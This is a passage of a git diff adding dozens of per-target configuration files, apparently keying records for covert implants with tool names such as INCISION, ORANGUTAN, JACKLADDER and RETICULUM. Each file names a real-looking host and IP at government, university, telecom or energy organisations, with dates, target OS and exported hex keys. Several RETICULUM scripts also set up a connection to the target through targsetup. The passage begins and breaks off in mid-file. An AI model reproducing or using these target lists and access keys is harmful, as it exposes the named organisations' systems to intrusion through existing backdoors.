87e6c2f1 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/sedesol.sedesol.gob.mx___148.233.6.164/jackladder b/Linux/bin/varkeys/intonation/sedesol.sedesol.gob.mx___148.233.6.164/jackladder new file mode 100644 index 0000000..4afa7f9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sedesol.sedesol.gob.mx___148.233.6.164/jackladder @@ -0,0 +1,3 @@ +SEDESOL.INTONATION___sedesol.sedesol.gob.mx___148.233.6.164___20000921-123525() { + ## JACKLADDER Version:2.0 OS:mips-sgi-irix6.4 +} diff --git a/Linux/bin/varkeys/intonation/segob.gob.mx___200.38.166.2/jackladder b/Linux/bin/varkeys/intonation/segob.gob.mx___200.38.166.2/jackladder new file mode 100644 index 0000000..8977ccd --- /dev/null +++ b/Linux/bin/varkeys/intonation/segob.gob.mx___200.38.166.2/jackladder @@ -0,0 +1,3 @@ +INTONATION___segob.gob.mx___200.38.166.2___20010712-142300() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/intonation/sky.kies.co.kr___203.236.114.1/jackladder b/Linux/bin/varkeys/intonation/sky.kies.co.kr___203.236.114.1/jackladder new file mode 100644 index 0000000..c6f2ef6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sky.kies.co.kr___203.236.114.1/jackladder @@ -0,0 +1,3 @@ +INTONATION.HP1020___sky.kies.co.kr___203.236.114.1___20010213-092903() { + ## JACKLADDER Version:2.0 OS:hppa1.1-hp-hpux10.20 +} diff --git a/Linux/bin/varkeys/intonation/smmu-ipv6.smmu.edu.cn___202.121.224.5/incision b/Linux/bin/varkeys/intonation/smmu-ipv6.smmu.edu.cn___202.121.224.5/incision new file mode 100644 index 0000000..4b44ee6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/smmu-ipv6.smmu.edu.cn___202.121.224.5/incision @@ -0,0 +1,4 @@ +INTONATION___smmu-ipv6.smmu.edu.cn___202.121.224.5___20070126-160444() { + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="a339824d 338cc069 3360d5ea" +} diff --git a/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/incision b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/incision new file mode 100644 index 0000000..be08fb3 --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/incision @@ -0,0 +1,4 @@ +INTONATION___smtp.2911.net___218.245.255.5___20041208-155757() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="876ef40b 35821f19 c0b61c74" +} diff --git a/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/orangutan b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/orangutan new file mode 100644 index 0000000..883d7eb --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/orangutan @@ -0,0 +1,4 @@ +INTONATION___smtp.2911.net___218.245.255.5___20041208-155757() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="a87eae61 3af19eff 48a2f54a" +} diff --git a/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/patchicillin b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/patchicillin new file mode 100644 index 0000000..2470568 --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.2911.net___218.245.255.5/patchicillin @@ -0,0 +1,4 @@ +INTONATION___smtp.2911.net___218.245.255.5___20041208-155757() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.7 + export CV="05f0f1fe 0e48ad3e 9f506f83" +} diff --git a/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/incision b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/incision new file mode 100644 index 0000000..ce17f5c --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/incision @@ -0,0 +1,4 @@ +INTONATION___smtp.macau.ctm.net___202.175.36.220___20040310-144519() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="9fd58b50 0de85148 2cbc3bbe" +} diff --git a/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/orangutan b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/orangutan new file mode 100644 index 0000000..71c7c15 --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/orangutan @@ -0,0 +1,4 @@ +INTONATION___smtp.macau.ctm.net___202.175.36.220___20040310-144519() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e11662f3 6a1c35f4 dc1864f2" +} diff --git a/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/sidetrack b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/sidetrack new file mode 100644 index 0000000..81cc909 --- /dev/null +++ b/Linux/bin/varkeys/intonation/smtp.macau.ctm.net___202.175.36.220/sidetrack @@ -0,0 +1,4 @@ +INTONATION___smtp.macau.ctm.net___202.175.36.220___20040310-144519() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="fb3a1d0a f36ade18 a423fd0c 3b4e612a" +} diff --git a/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/incision b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/incision new file mode 100644 index 0000000..a1fdb43 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/incision @@ -0,0 +1,5 @@ +INTONATION___sonatns.sonatrach.dz___193.194.75.35___20020418-113439() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="e7a5aeec 422041ec 00a32f82" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} diff --git a/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/orangutan b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/orangutan new file mode 100644 index 0000000..3e2c9f7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/orangutan @@ -0,0 +1,4 @@ +INTONATION___sonatns.sonatrach.dz___193.194.75.35___20020418-113439() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="b573a443 5e85ab79 c3a8813f" +} diff --git a/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/reticulum b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/reticulum new file mode 100644 index 0000000..6767d3e --- /dev/null +++ b/Linux/bin/varkeys/intonation/sonatns.sonatrach.dz___193.194.75.35/reticulum @@ -0,0 +1,20 @@ +INTONATION___sonatns.sonatrach.dz___193.194.75.35___20020418-113439() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host sonatns.sonatrach.dz + set ip 193.194.75.35 + set hostType "Solaris26" + set len 476 + set cv0 67528db8 + set cv1 d525889d + set cv2 d2d4b6cf + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/incision b/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/incision new file mode 100644 index 0000000..4de5747 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/incision @@ -0,0 +1,4 @@ +INTONATION___sparc.nour.net.sa___212.12.160.26___20040920-165854() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="41d49a3a 8232e0f1 e527a917" +} diff --git a/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/orangutan b/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/orangutan new file mode 100644 index 0000000..f2d1280 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sparc.nour.net.sa___212.12.160.26/orangutan @@ -0,0 +1,4 @@ +INTONATION___sparc.nour.net.sa___212.12.160.26___20040920-165854() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="456ba1df 273ff8b4 3fd1c6b4" +} diff --git a/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/incision b/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/incision new file mode 100644 index 0000000..510756f --- /dev/null +++ b/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/incision @@ -0,0 +1,4 @@ +INTONATION___sps01.office.ctm.net___202.175.4.38___20040803-134817() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65587160 81a0acdd a9e0eea1" +} diff --git a/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/orangutan b/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/orangutan new file mode 100644 index 0000000..afe4c3a --- /dev/null +++ b/Linux/bin/varkeys/intonation/sps01.office.ctm.net___202.175.4.38/orangutan @@ -0,0 +1,4 @@ +INTONATION___sps01.office.ctm.net___202.175.4.38___20040803-134817() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="23f7e526 e2b218d1 6d720772" +} diff --git a/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/incision b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/incision new file mode 100644 index 0000000..40715ed --- /dev/null +++ b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/incision @@ -0,0 +1,4 @@ +INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-184531() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="e61da076 fac29c1e 81fb53bf" +} diff --git a/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/jackladder b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/jackladder new file mode 100644 index 0000000..2c9284a --- /dev/null +++ b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/jackladder @@ -0,0 +1,4 @@ +INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-184531() { + ## JACKLADDER Version:2.1 OS:i386-pc-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/orangutan b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/orangutan new file mode 100644 index 0000000..10dca84 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/orangutan @@ -0,0 +1,4 @@ +INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-184531() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="f08f22aa 857cdf8e e5952619" +} diff --git a/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/patchicillin b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/patchicillin new file mode 100644 index 0000000..6e9287a --- /dev/null +++ b/Linux/bin/varkeys/intonation/sunhe.jinr.ru___159.93.18.100/patchicillin @@ -0,0 +1,4 @@ +INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-184531() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="f2389e2b b72836a0 f176c1da" +} diff --git a/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/incision b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/incision new file mode 100644 index 0000000..63a7f8e --- /dev/null +++ b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/incision @@ -0,0 +1,4 @@ +INTONATION___sussi.cressoft.com.pk___202.125.140.194___20011101-145536() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="a856ccdc f2332998 8d582007" +} diff --git a/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/orangutan b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/orangutan new file mode 100644 index 0000000..9e010df --- /dev/null +++ b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/orangutan @@ -0,0 +1,4 @@ +INTONATION___sussi.cressoft.com.pk___202.125.140.194___20011101-145536() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="a6ccd5dc 91606419 f132bed5" +} diff --git a/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/reticulum b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/reticulum new file mode 100644 index 0000000..4346d31 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sussi.cressoft.com.pk___202.125.140.194/reticulum @@ -0,0 +1,20 @@ +INTONATION___sussi.cressoft.com.pk___202.125.140.194___20011101-145536() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host sussi.cressoft.com.pk + set ip 202.125.140.194 + set hostType "Solaris27" + set len 476 + set cv0 477aba2b + set cv1 0c083e29 + set cv2 6dc30316 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/tx.micro.net.pk___203.135.2.194/jackladder b/Linux/bin/varkeys/intonation/tx.micro.net.pk___203.135.2.194/jackladder new file mode 100644 index 0000000..6d27356 --- /dev/null +++ b/Linux/bin/varkeys/intonation/tx.micro.net.pk___203.135.2.194/jackladder @@ -0,0 +1,3 @@ +INTONATION___tx.micro.net.pk___203.135.2.194___20000817-131726() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/dewdrop b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/dewdrop new file mode 100644 index 0000000..64a21d0 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/dewdrop @@ -0,0 +1,4 @@ +INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/incision b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/incision new file mode 100644 index 0000000..2c32b96 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/incision @@ -0,0 +1,4 @@ +INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="148f6d55 041f5110 c3ff2269" +} diff --git a/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/jackladder b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/jackladder new file mode 100644 index 0000000..dfd2c93 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/jackladder @@ -0,0 +1,4 @@ +INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/orangutan b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/orangutan new file mode 100644 index 0000000..42bda36 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/orangutan @@ -0,0 +1,4 @@ +INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="b2ee0d95 8bfe61a5 e1180a37" +} diff --git a/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/patchicillin b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/patchicillin new file mode 100644 index 0000000..d782f07 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ultra2.tsinghua.edu.cn___166.111.120.10/patchicillin @@ -0,0 +1,4 @@ +INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="5930b0d6 1560ffb9 6ef23ffc" +} diff --git a/Linux/bin/varkeys/intonation/unk.vver.kiae.rr___144.206.175.2/jackladder b/Linux/bin/varkeys/intonation/unk.vver.kiae.rr___144.206.175.2/jackladder new file mode 100644 index 0000000..e9c84a9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/unk.vver.kiae.rr___144.206.175.2/jackladder @@ -0,0 +1,4 @@ +INTONATION___unk.vver.kiae.rr___144.206.175.2___20070412-144249() { + ## JACKLADDER Version:2.1 OS:i386-unknown-freebsd4.0 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/incision b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/incision new file mode 100644 index 0000000..b008ef9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/incision @@ -0,0 +1,4 @@ +INTONATION___unknown.counsellor.gov.cn___61.151.243.13___20040414-090039() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1407a1a 358e2d36 1c2566dd" +} diff --git a/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/orangutan b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/orangutan new file mode 100644 index 0000000..b318131 --- /dev/null +++ b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/orangutan @@ -0,0 +1,4 @@ +INTONATION___unknown.counsellor.gov.cn___61.151.243.13___20040414-090039() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="36cdf925 28451cb0 0deb8224" +} diff --git a/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/reticulum b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/reticulum new file mode 100644 index 0000000..8a386e5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/unknown.counsellor.gov.cn___61.151.243.13/reticulum @@ -0,0 +1,20 @@ +INTONATION___unknown.counsellor.gov.cn___61.151.243.13___20040414-090039() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host unknown.counsellor.gov.cn + set ip 61.151.243.13 + set hostType "Solaris26" + set len 476 + set cv0 f4912a51 + set cv1 e5550ccb + set cv2 11c8cb3d + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/incision b/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/incision new file mode 100644 index 0000000..190049a --- /dev/null +++ b/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/incision @@ -0,0 +1,4 @@ +INTONATION___voyager1.telesat.com.co___66.128.32.68___20030821-014410() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="ac0bd167 749b69ec 4d4c889f" +} diff --git a/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/orangutan b/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/orangutan new file mode 100644 index 0000000..1c7fd31 --- /dev/null +++ b/Linux/bin/varkeys/intonation/voyager1.telesat.com.co___66.128.32.68/orangutan @@ -0,0 +1,4 @@ +INTONATION___voyager1.telesat.com.co___66.128.32.68___20030821-014410() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="1d499136 3a5d35a8 d7da0741" +} diff --git a/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/dewdrop b/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/dewdrop new file mode 100644 index 0000000..902e004 --- /dev/null +++ b/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/dewdrop @@ -0,0 +1,4 @@ +INTONATION___web-ccfr.tsinghua.edu.cn___166.111.96.91___20070216-142756() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/stoicsurgeon b/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/stoicsurgeon new file mode 100644 index 0000000..abbe22d --- /dev/null +++ b/Linux/bin/varkeys/intonation/web-ccfr.tsinghua.edu.cn___166.111.96.91/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___web-ccfr.tsinghua.edu.cn___166.111.96.91___20070216-142756() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/webnetra.entelnet.bo___166.114.10.28/jackladder b/Linux/bin/varkeys/intonation/webnetra.entelnet.bo___166.114.10.28/jackladder new file mode 100644 index 0000000..bcf0b09 --- /dev/null +++ b/Linux/bin/varkeys/intonation/webnetra.entelnet.bo___166.114.10.28/jackladder @@ -0,0 +1,3 @@ +INTONATION___webnetra.entelnet.bo___166.114.10.28___20000830-141831() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/dewdrop b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/dewdrop new file mode 100644 index 0000000..84a7af7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/dewdrop @@ -0,0 +1,4 @@ +INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/incision b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/incision new file mode 100644 index 0000000..4e910ed --- /dev/null +++ b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/incision @@ -0,0 +1,4 @@ +INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7b25fd8 ec73c517 e58328b9" +} diff --git a/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/jackladder b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/jackladder new file mode 100644 index 0000000..cc1aaea --- /dev/null +++ b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/jackladder @@ -0,0 +1,4 @@ +INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/orangutan b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/orangutan new file mode 100644 index 0000000..2e86671 --- /dev/null +++ b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/orangutan @@ -0,0 +1,4 @@ +INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="e4244635 80e6889d 939fca50" +} diff --git a/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/patchicillin b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/patchicillin new file mode 100644 index 0000000..d0028dc --- /dev/null +++ b/Linux/bin/varkeys/intonation/webserv.mos.ru___10.30.10.2/patchicillin @@ -0,0 +1,4 @@ +INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="b83cb2a4 5edcdedb 23bb7d94" +} diff --git a/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/dewdrop b/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/dewdrop new file mode 100644 index 0000000..55c0708 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/dewdrop @@ -0,0 +1,4 @@ +INTONATION___ws.xjb.ac.cn___159.226.135.12___20070914-104228() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/stoicsurgeon b/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/stoicsurgeon new file mode 100644 index 0000000..54109b2 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ws.xjb.ac.cn___159.226.135.12/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___ws.xjb.ac.cn___159.226.135.12___20070914-104228() { + ## STOICSURGEON Version:STOICSURGEON v1.2.7.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/www.caramail.com___195.68.99.20/jackladder b/Linux/bin/varkeys/intonation/www.caramail.com___195.68.99.20/jackladder new file mode 100644 index 0000000..337e4b3 --- /dev/null +++ b/Linux/bin/varkeys/intonation/www.caramail.com___195.68.99.20/jackladder @@ -0,0 +1,3 @@ +INT___www.caramail.com___195.68.99.20___20010915-191446() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/incision b/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/incision new file mode 100644 index 0000000..1cc40f7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/incision @@ -0,0 +1,4 @@ +INTONATION___www.siom.ac.cn___202.127.16.44___20040130-100548() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="2316009b e3666f77 a2265fbf" +} diff --git a/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/sidetrack b/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/sidetrack new file mode 100644 index 0000000..eb757ee --- /dev/null +++ b/Linux/bin/varkeys/intonation/www.siom.ac.cn___202.127.16.44/sidetrack @@ -0,0 +1,4 @@ +INTONATION___www.siom.ac.cn___202.127.16.44___20040130-100548() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="9481a377 65450ebd 33948d2b 32ad50b2" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/incision b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/incision new file mode 100644 index 0000000..bc6406e --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/incision @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___130.34.115.132___20040414-114204() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="051fe7c6 32aa93d2 5ddf61be" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/orangutan b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/orangutan new file mode 100644 index 0000000..2374a3b --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/orangutan @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___130.34.115.132___20040414-114204() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e19d8d1c 8feed1ea dbe4eba3" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/sidetrack b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/sidetrack new file mode 100644 index 0000000..3694492 --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___130.34.115.132/sidetrack @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___130.34.115.132___20040414-114204() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="277cdae0 77a84da8 638f64ce 